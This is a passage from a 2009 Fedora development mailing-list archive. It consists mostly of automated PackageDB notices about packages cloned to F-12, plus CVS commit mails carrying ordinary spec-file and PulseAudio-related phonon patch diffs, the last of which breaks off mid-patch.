From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:14 +0000
Subject: [pkgdb] PyQuante F-12 cloned from devel
Message-ID: <20091003160215.5F5EE10F8F5@bastion2.fedora.phx.redhat.com>

toshio cloned PyQuante F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/PyQuante



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:16 +0000
Subject: [pkgdb] PyQwt F-12 cloned from devel
Message-ID: <20091003160216.5D40210F934@bastion2.fedora.phx.redhat.com>

toshio cloned PyQwt F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/PyQwt



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:18 +0000
Subject: [pkgdb] PyRTF F-12 cloned from devel
Message-ID: <20091003160218.39ACC10F935@bastion2.fedora.phx.redhat.com>

toshio cloned PyRTF F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/PyRTF



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:24 +0000
Subject: [pkgdb] PySolFC-cardsets F-12 cloned from devel
Message-ID: <20091003160224.ED9E710F8FB@bastion2.fedora.phx.redhat.com>

toshio cloned PySolFC-cardsets F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/PySolFC-cardsets



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:26 +0000
Subject: [pkgdb] PySolFC-music F-12 cloned from devel
Message-ID: <20091003160226.341F110F93D@bastion2.fedora.phx.redhat.com>

toshio cloned PySolFC-music F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/PySolFC-music



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:39 +0000
Subject: [pkgdb] PythonCard F-12 cloned from devel
Message-ID: <20091003160239.C60BA10F957@bastion2.fedora.phx.redhat.com>

toshio cloned PythonCard F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/PythonCard



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:41 +0000
Subject: [pkgdb] QtDMM F-12 cloned from devel
Message-ID: <20091003160241.2B78810F953@bastion2.fedora.phx.redhat.com>

toshio cloned QtDMM F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/QtDMM



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:46 +0000
Subject: [pkgdb] R-AnnotationDbi F-12 cloned from devel
Message-ID: <20091003160246.55B7110F95A@bastion2.fedora.phx.redhat.com>

toshio cloned R-AnnotationDbi F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-AnnotationDbi



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:49 +0000
Subject: [pkgdb] R-BSgenome.Celegans.UCSC.ce2 F-12 cloned from devel
Message-ID: <20091003160249.884CD10F95F@bastion2.fedora.phx.redhat.com>

toshio cloned R-BSgenome.Celegans.UCSC.ce2 F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-BSgenome.Celegans.UCSC.ce2



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:51 +0000
Subject: [pkgdb] R-Biobase F-12 cloned from devel
Message-ID: <20091003160251.5ECA410F962@bastion2.fedora.phx.redhat.com>

toshio cloned R-Biobase F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-Biobase



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:56 +0000
Subject: [pkgdb] R-BufferedMatrixMethods F-12 cloned from devel
Message-ID: <20091003160256.ED36C10F911@bastion2.fedora.phx.redhat.com>

toshio cloned R-BufferedMatrixMethods F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-BufferedMatrixMethods



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:58 +0000
Subject: [pkgdb] R-DBI F-12 cloned from devel
Message-ID: <20091003160258.82CB510F966@bastion2.fedora.phx.redhat.com>

toshio cloned R-DBI F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-DBI



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:59 +0000
Subject: [pkgdb] R-DynDoc F-12 cloned from devel
Message-ID: <20091003160259.D343310F968@bastion2.fedora.phx.redhat.com>

toshio cloned R-DynDoc F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-DynDoc



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:03 +0000
Subject: [pkgdb] R-IRanges F-12 cloned from devel
Message-ID: <20091003160303.5D41710F969@bastion2.fedora.phx.redhat.com>

toshio cloned R-IRanges F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-IRanges



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:08 +0000
Subject: [pkgdb] R-RODBC F-12 cloned from devel
Message-ID: <20091003160308.2B5F910F8CA@bastion2.fedora.phx.redhat.com>

toshio cloned R-RODBC F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-RODBC



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:14 +0000
Subject: [pkgdb] R-RUnit F-12 cloned from devel
Message-ID: <20091003160314.4925D10F96A@bastion2.fedora.phx.redhat.com>

toshio cloned R-RUnit F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-RUnit



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:15 +0000
Subject: [pkgdb] R-abind F-12 cloned from devel
Message-ID: <20091003160316.04D2710F96B@bastion2.fedora.phx.redhat.com>

toshio cloned R-abind F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-abind



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:17 +0000
Subject: [pkgdb] R-acepack F-12 cloned from devel
Message-ID: <20091003160318.1B92C10F96C@bastion2.fedora.phx.redhat.com>

toshio cloned R-acepack F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-acepack



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:19 +0000
Subject: [pkgdb] R-affy F-12 cloned from devel
Message-ID: <20091003160319.A439810F8AC@bastion2.fedora.phx.redhat.com>

toshio cloned R-affy F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-affy



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:21 +0000
Subject: [pkgdb] R-affyio F-12 cloned from devel
Message-ID: <20091003160321.35D5910F970@bastion2.fedora.phx.redhat.com>

toshio cloned R-affyio F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-affyio



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:22 +0000
Subject: [pkgdb] R-biglm F-12 cloned from devel
Message-ID: <20091003160322.D49C010F975@bastion2.fedora.phx.redhat.com>

toshio cloned R-biglm F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-biglm



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:24 +0000
Subject: [pkgdb] R-bigmemory F-12 cloned from devel
Message-ID: <20091003160324.72D5310F918@bastion2.fedora.phx.redhat.com>

toshio cloned R-bigmemory F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-bigmemory



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:27 +0000
Subject: [pkgdb] R-hdf5 F-12 cloned from devel
Message-ID: <20091003160327.CB45610F8C1@bastion2.fedora.phx.redhat.com>

toshio cloned R-hdf5 F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-hdf5



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:29 +0000
Subject: [pkgdb] R-hgu95av2probe F-12 cloned from devel
Message-ID: <20091003160329.95C6810F977@bastion2.fedora.phx.redhat.com>

toshio cloned R-hgu95av2probe F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-hgu95av2probe



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:33 +0000
Subject: [pkgdb] R-mAr F-12 cloned from devel
Message-ID: <20091003160333.42E0310F8D2@bastion2.fedora.phx.redhat.com>

toshio cloned R-mAr F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-mAr



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:35 +0000
Subject: [pkgdb] R-maanova F-12 cloned from devel
Message-ID: <20091003160335.4C75A10F91F@bastion2.fedora.phx.redhat.com>

toshio cloned R-maanova F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-maanova



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:37 +0000
Subject: [pkgdb] R-multcomp F-12 cloned from devel
Message-ID: <20091003160337.2847910F979@bastion2.fedora.phx.redhat.com>

toshio cloned R-multcomp F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-multcomp



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:40 +0000
Subject: [pkgdb] R-mvtnorm F-12 cloned from devel
Message-ID: <20091003160340.5D49910F97F@bastion2.fedora.phx.redhat.com>

toshio cloned R-mvtnorm F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-mvtnorm



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:43 +0000
Subject: [pkgdb] R-pls F-12 cloned from devel
Message-ID: <20091003160343.DA84310F980@bastion2.fedora.phx.redhat.com>

toshio cloned R-pls F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-pls



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:45 +0000
Subject: [pkgdb] R-preprocessCore F-12 cloned from devel
Message-ID: <20091003160345.6BD2C10F925@bastion2.fedora.phx.redhat.com>

toshio cloned R-preprocessCore F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-preprocessCore



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:47 +0000
Subject: [pkgdb] R-qtl F-12 cloned from devel
Message-ID: <20091003160347.30A8210F927@bastion2.fedora.phx.redhat.com>

toshio cloned R-qtl F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-qtl



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:49 +0000
Subject: [pkgdb] R-rlecuyer F-12 cloned from devel
Message-ID: <20091003160349.E253510F984@bastion2.fedora.phx.redhat.com>

toshio cloned R-rlecuyer F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-rlecuyer



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:51 +0000
Subject: [pkgdb] R-systemfit F-12 cloned from devel
Message-ID: <20091003160351.2FA7910F987@bastion2.fedora.phx.redhat.com>

toshio cloned R-systemfit F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-systemfit



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:53 +0000
Subject: [pkgdb] R-tkWidgets F-12 cloned from devel
Message-ID: <20091003160353.3366F10F92A@bastion2.fedora.phx.redhat.com>

toshio cloned R-tkWidgets F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-tkWidgets



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:55 +0000
Subject: [pkgdb] R-waveslim F-12 cloned from devel
Message-ID: <20091003160355.134FD10F988@bastion2.fedora.phx.redhat.com>

toshio cloned R-waveslim F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-waveslim



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:56 +0000
Subject: [pkgdb] R-wavethresh F-12 cloned from devel
Message-ID: <20091003160356.E44A610F8EF@bastion2.fedora.phx.redhat.com>

toshio cloned R-wavethresh F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-wavethresh



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:00 +0000
Subject: [pkgdb] R-zoo F-12 cloned from devel
Message-ID: <20091003160400.C2A9610F92D@bastion2.fedora.phx.redhat.com>

toshio cloned R-zoo F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-zoo



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:04 +0000
Subject: [pkgdb] RackTables F-12 cloned from devel
Message-ID: <20091003160404.655C310F92E@bastion2.fedora.phx.redhat.com>

toshio cloned RackTables F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/RackTables



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:09 +0000
Subject: [pkgdb] SAASound F-12 cloned from devel
Message-ID: <20091003160409.AFC2610F98E@bastion2.fedora.phx.redhat.com>

toshio cloned SAASound F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/SAASound



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:11 +0000
Subject: [pkgdb] SDL F-12 cloned from devel
Message-ID: <20091003160411.DFAE810F992@bastion2.fedora.phx.redhat.com>

toshio cloned SDL F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/SDL



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:15 +0000
Subject: [pkgdb] SDL_gfx F-12 cloned from devel
Message-ID: <20091003160415.2B27A10F8D7@bastion2.fedora.phx.redhat.com>

toshio cloned SDL_gfx F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/SDL_gfx



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:17 +0000
Subject: [pkgdb] SDL_image F-12 cloned from devel
Message-ID: <20091003160417.80A0B10F934@bastion2.fedora.phx.redhat.com>

toshio cloned SDL_image F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/SDL_image



From mclasen at fedoraproject.org  Sat Oct  3 15:39:00 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Sat,  3 Oct 2009 15:39:00 +0000 (UTC)
Subject: rpms/NetworkManager/F-12 NetworkManager.spec, 1.288, 1.289 sources, 
	1.151, 1.152
Message-ID: <20091003153900.D3F3911C00E5@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/NetworkManager/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32171

Modified Files:
	NetworkManager.spec sources 
Log Message:
build for F12



Index: NetworkManager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-12/NetworkManager.spec,v
retrieving revision 1.288
retrieving revision 1.289
diff -u -p -r1.288 -r1.289
--- NetworkManager.spec	29 Sep 2009 02:52:15 -0000	1.288
+++ NetworkManager.spec	3 Oct 2009 15:39:00 -0000	1.289
@@ -9,14 +9,14 @@
 %define libnl_version 1.1
 %define ppp_version 2.2.4
 
-%define snapshot .git20090928
-%define applet_snapshot .git20090928-menu-rework
+%define snapshot .git20091002
+%define applet_snapshot .git20091002
 
 Name: NetworkManager
 Summary: Network connection manager and user applications
 Epoch: 1
 Version: 0.7.996
-Release: 3%{snapshot}%{?dist}
+Release: 4%{snapshot}%{?dist}
 Group: System Environment/Base
 License: GPLv2+
 URL: http://www.gnome.org/projects/NetworkManager/
@@ -239,7 +239,7 @@ exit 0
 %pre gnome
 if [ "$1" -gt 1 ]; then
   export GCONF_CONFIG_SOURCE=`gconftool-2 --get-default-source`
-  gconftool-2 --makefile-uninstall-rule %{_sysconfdir}/gconf/schemas/nm-applet.schemas >/dev/null
+  gconftool-2 --makefile-uninstall-rule %{_sysconfdir}/gconf/schemas/nm-applet.schemas >/dev/null || :
 fi
 
 %preun gnome
@@ -342,6 +342,13 @@ fi
 %{_datadir}/gtk-doc/html/libnm-util/*
 
 %changelog
+* Fri Oct  2 2009 Dan Williams <dcbw at redhat.com> - 0.7.996-4.git20091002
+- install: fix -gnome package %pre script failures (rh #526519)
+- nm: fix failures validating private keys when using the NSS crypto backend
+- applet: fix crashes when clicking on menu but not associated (rh #526535)
+- editor: fix crash editing wired 802.1x settings
+- editor: fix secrets retrieval when editing connections
+
 * Mon Sep 28 2009 Dan Williams <dcbw at redhat.com> - 0.7.996-3.git20090928
 - nm: fix connection takeover when carrier is not on
 - nm: handle certificate paths (CA chain PEM files are now fully usable)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-12/sources,v
retrieving revision 1.151
retrieving revision 1.152
diff -u -p -r1.151 -r1.152
--- sources	29 Sep 2009 02:52:15 -0000	1.151
+++ sources	3 Oct 2009 15:39:00 -0000	1.152
@@ -1,2 +1,2 @@
-e8d776c04616764042ba94f85d51dcaa  NetworkManager-0.7.996.git20090928.tar.bz2
-138060af68f9cdd057f83dcebfb71a50  network-manager-applet-0.7.996.git20090928-menu-rework.tar.bz2
+9993745d9f39e4ae8a6b46b5b7a5a809  NetworkManager-0.7.996.git20091002.tar.bz2
+131b83c340764d648ccce44f56683394  network-manager-applet-0.7.996.git20091002.tar.bz2



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:20 +0000
Subject: [pkgdb] SDL_mixer F-12 cloned from devel
Message-ID: <20091003160420.502F210F936@bastion2.fedora.phx.redhat.com>

toshio cloned SDL_mixer F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/SDL_mixer



From rdieter at fedoraproject.org  Sat Oct  3 15:34:45 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat,  3 Oct 2009 15:34:45 +0000 (UTC)
Subject: rpms/phonon/F-12 phonon-4.2.96-pulseaudio.patch, 1.2,
	1.3 phonon-4.3.2-gstreamer-utf8-url.patch, 1.2,
	1.3 phonon-4.3.2-gstreamer-volumefader.patch, 1.2,
	1.3 qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch, NONE,
	1.1 .cvsignore, 1.11, 1.12 phonon.spec, 1.44, 1.45 sources, 1.13, 1.14
Message-ID: <20091003153445.7ACAD11C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/phonon/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30570

Modified Files:
	.cvsignore phonon.spec sources 
Added Files:
	phonon-4.2.96-pulseaudio.patch 
	phonon-4.3.2-gstreamer-utf8-url.patch 
	phonon-4.3.2-gstreamer-volumefader.patch 
	qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch 
Log Message:
* Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-101
- revert to kde/phonon
- inflate to Release: 101
- -backend-gstreamer: Epoch: 2


phonon-4.2.96-pulseaudio.patch:
 globalconfig.cpp |   19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

Index: phonon-4.2.96-pulseaudio.patch
===================================================================
RCS file: phonon-4.2.96-pulseaudio.patch
diff -N phonon-4.2.96-pulseaudio.patch
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ phonon-4.2.96-pulseaudio.patch	3 Oct 2009 15:34:43 -0000	1.3
@@ -0,0 +1,43 @@
+diff -Naurw phonon-4.2.96/phonon/globalconfig.cpp phonon-4.2.96.pulseaudio/phonon/globalconfig.cpp
+--- phonon-4.2.96/phonon/globalconfig.cpp	2008-11-27 16:41:41.000000000 +0100
++++ phonon-4.2.96.pulseaudio/phonon/globalconfig.cpp	2009-01-08 21:29:18.000000000 +0100
+@@ -31,6 +31,7 @@
+ #include "phononnamespace_p.h"
+ 
+ #include <QtCore/QList>
++#include <QtCore/QHash>
+ #include <QtCore/QVariant>
+ 
+ QT_BEGIN_NAMESPACE
+@@ -167,6 +168,15 @@
+                     | ((override & HideUnavailableDevices) ? FilterUnavailableDevices : 0)
+                     );
+         }
++        // make PulseAudio the global default (assume it is already default in this list)
++        if (!list.isEmpty()) {
++            int firstIndex = list.first();
++            if (backendIface->objectDescriptionProperties(Phonon::AudioOutputDeviceType,
++                  firstIndex)["name"].toString() == "PulseAudio") {
++                list.removeFirst();
++                defaultList.prepend(firstIndex);
++            }
++        }
+         defaultList += list;
+     }
+ 
+@@ -222,6 +232,15 @@
+                     | ((override & HideUnavailableDevices) ? FilterUnavailableDevices : 0)
+                   );
+         }
++        // make PulseAudio the global default (assume it is already default in this list)
++        if (!list.isEmpty()) {
++            int firstIndex = list.first();
++            if (backendIface->objectDescriptionProperties(Phonon::AudioCaptureDeviceType,
++                  firstIndex)["name"].toString() == "PulseAudio") {
++                list.removeFirst();
++                defaultList.prepend(firstIndex);
++            }
++        }
+         defaultList += list;
+     }
+ 

phonon-4.3.2-gstreamer-utf8-url.patch:
 mediaobject.cpp |   13 ++++---------
 mediaobject.h   |    2 +-
 2 files changed, 5 insertions(+), 10 deletions(-)

Index: phonon-4.3.2-gstreamer-utf8-url.patch
===================================================================
RCS file: phonon-4.3.2-gstreamer-utf8-url.patch
diff -N phonon-4.3.2-gstreamer-utf8-url.patch
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ phonon-4.3.2-gstreamer-utf8-url.patch	3 Oct 2009 15:34:43 -0000	1.3
@@ -0,0 +1,59 @@
+Index: gstreamer/mediaobject.h
+===================================================================
+--- gstreamer/mediaobject.h	(revision 932755)
++++ gstreamer/mediaobject.h	(revision 932756)
+@@ -185,7 +185,7 @@
+     /*
+      * @param encodedUrl percent-encoded QString for source compat reasons.  Should change to QUrl
+      */
+-    bool createPipefromURL(const QString &encodedUrl);
++    bool createPipefromURL(const QUrl &url);
+     bool createPipefromStream(const MediaSource &);
+ 
+ private Q_SLOTS:
+Index: gstreamer/mediaobject.cpp
+===================================================================
+--- gstreamer/mediaobject.cpp	(revision 932755)
++++ gstreamer/mediaobject.cpp	(revision 932756)
+@@ -347,11 +347,8 @@
+  *
+  * returns true if successful
+  */
+-bool MediaObject::createPipefromURL(const QString &encodedUrl)
++bool MediaObject::createPipefromURL(const QUrl &url)
+ {
+-    // Convert back to URL
+-    QUrl url(encodedUrl, QUrl::StrictMode);
+-
+     // Remove any existing data source
+     if (m_datasource) {
+         gst_bin_remove(GST_BIN(m_pipeline), m_datasource);
+@@ -361,7 +358,7 @@
+ 
+     // Verify that the uri can be parsed
+     if (!url.isValid()) {
+-        m_backend->logMessage(QString("%1 is not a valid URI").arg(encodedUrl));
++        m_backend->logMessage(QString("%1 is not a valid URI").arg(url.toString()));
+         return false;
+     }
+ 
+@@ -875,8 +872,7 @@
+ 
+     switch (source.type()) {
+     case MediaSource::Url: {            
+-            QString urlString = source.url().toEncoded();
+-            if (createPipefromURL(urlString))
++            if (createPipefromURL(source.url()))
+                 m_loading = true;
+             else
+                 setError(tr("Could not open media source."));
+@@ -884,8 +880,7 @@
+         break;
+ 
+     case MediaSource::LocalFile: {
+-            QString urlString = QUrl::fromLocalFile(source.fileName()).toString();
+-            if (createPipefromURL(urlString))
++            if (createPipefromURL(QUrl::fromLocalFile(source.fileName())))
+                 m_loading = true;
+             else
+                 setError(tr("Could not open media source."));

phonon-4.3.2-gstreamer-volumefader.patch:
 mediaobject.cpp |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

Index: phonon-4.3.2-gstreamer-volumefader.patch
===================================================================
RCS file: phonon-4.3.2-gstreamer-volumefader.patch
diff -N phonon-4.3.2-gstreamer-volumefader.patch
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ phonon-4.3.2-gstreamer-volumefader.patch	3 Oct 2009 15:34:43 -0000	1.3
@@ -0,0 +1,16 @@
+Index: gstreamer/mediaobject.cpp
+===================================================================
+--- gstreamer/mediaobject.cpp	(revision 932979)
++++ gstreamer/mediaobject.cpp	(revision 932980)
+@@ -141,9 +141,9 @@
+     if (m_resumeState)
+         return;
+ 
+-    if (m_state == Phonon::PlayingState || m_state == Phonon::PausedState) {
++    if (m_pendingState == Phonon::PlayingState || m_pendingState == Phonon::PausedState) {
+         m_resumeState = true;
+-        m_oldState = m_state;
++        m_oldState = m_pendingState;
+         m_oldPos = getPipelinePos();
+     }
+ }

qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch:
 audiooutput.cpp   |    4 +++-
 devicemanager.cpp |   22 ++++++++++++++++++++--
 2 files changed, 23 insertions(+), 3 deletions(-)

--- NEW FILE qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch ---
diff -up qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/audiooutput.cpp.than qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/audiooutput.cpp
--- qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/audiooutput.cpp.than	2009-08-16 14:20:43.000000000 +0200
+++ qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/audiooutput.cpp	2009-08-16 14:45:56.000000000 +0200
@@ -141,7 +141,9 @@ bool AudioOutput::setOutputDevice(int ne
         // Save previous state
         GstState oldState = GST_STATE(m_audioSink);
         const QByteArray oldDeviceValue = GstHelper::property(m_audioSink, "device");
-        const QByteArray deviceId = deviceList.at(newDevice).gstId;
+        const QByteArray deviceId = (deviceList.at(newDevice).gstId == "PulseAudio"
+                                     ? "default"
+                                     : deviceList.at(newDevice).gstId);
         m_device = newDevice;
 
         // We test if the device can be opened by checking if it can go from NULL to READY state
diff -up qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/devicemanager.cpp.than qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/devicemanager.cpp
--- qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/devicemanager.cpp.than	2009-08-15 12:39:08.000000000 +0200
+++ qt-x11-opensource-src-4.5.2/src/3rdparty/phonon/gstreamer/devicemanager.cpp	2009-08-16 14:45:13.000000000 +0200
@@ -50,6 +50,8 @@ AudioDevice::AudioDevice(DeviceManager *
     //get name from device
     if (gstId == "default") {
         description = "Default audio device";
+    } else if (gstId == "PulseAudio") {
+        description = QObject::tr("Pass all audio through the PulseAudio Sound Server.\n").toUtf8();
     } else {
         GstElement *aSink= manager->createAudioSink();
 
@@ -175,6 +177,18 @@ GstElement *DeviceManager::createAudioSi
                 }
             }
 
+            if (!sink) {
+                sink = gst_element_factory_make ("pulsesink", NULL);
+                if (canOpenDevice(sink)) {
